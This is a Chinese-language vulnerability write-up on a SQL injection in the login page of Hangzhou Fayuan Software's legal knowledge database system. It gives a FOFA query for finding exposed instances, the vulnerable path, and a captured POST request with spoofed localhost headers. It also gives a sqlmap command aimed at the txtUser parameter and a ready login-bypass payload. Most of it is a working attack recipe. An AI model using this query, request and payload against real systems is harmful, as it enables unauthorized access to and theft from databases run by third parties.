杭州法源軟件_法律知識數據庫系統_SQL注入漏洞

# 杭州法源軟件 法律知識數據庫系統 SQL注入漏洞
==FOFA==

icon_hash="2018105215" || title="实践教学平台 - 杭州法源软件开发有限公司"

==漏洞地址==

http://xxxxxxx/JusRepos/ui/login.aspx

==抓取請求包==

POST /JusRepos/ui/login.aspx HTTP/1.1
Host: xxx.xxx.xxx.xxxx
Content-Length: 362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: ASP.NET_SessionId=0upclbweiokwx4qnkpfzumir
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4NTUyMzg5NDNkZBLjR6E85W4xvkheqS5g7gOsMdeop3Xfh1BwnTSCbV7z&__VIEWSTATEGENERATOR=E3BBEDB7&__EVENTVALIDATION=%2FwEdAATFHpXckaPEvZEyN%2BNhIQGTDFTzKcXJqLg%2BOeJ6QAEa2jPSlu16Yx4QbiDU%2BdddK1MwoKxxc3z27YmfD4jI4gVsV9%2FpN02jZyPKj4JeL7G5UVenPtL%2FK1en7XvhZG5vyHk%3D&txtUser=admin&txtPwd=123&btnSub=%E7%99%BB%E5%BD%95

其中註入的參數為 POST數據中的 txtUser 參數, 保存為文件使用 Sqlmap進行注入。

sqlmap -r sql.txt -p txtUser

==萬能密碼==

user: 1' or 1=1 --
pass: peiqi

==參考==
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%9E%E8%B7%B5%E6%95%99%E5%AD%A6%E5%B9%B3%E5%8F%B0/%E6%9D%AD%E5%B7%9E%E6%B3%95%E6%BA%90%E8%BD%AF%E4%BB%B6%20%E6%B3%95%E5%BE%8B%E7%9F%A5%E8%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E7%B3%BB%E7%BB%9F%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html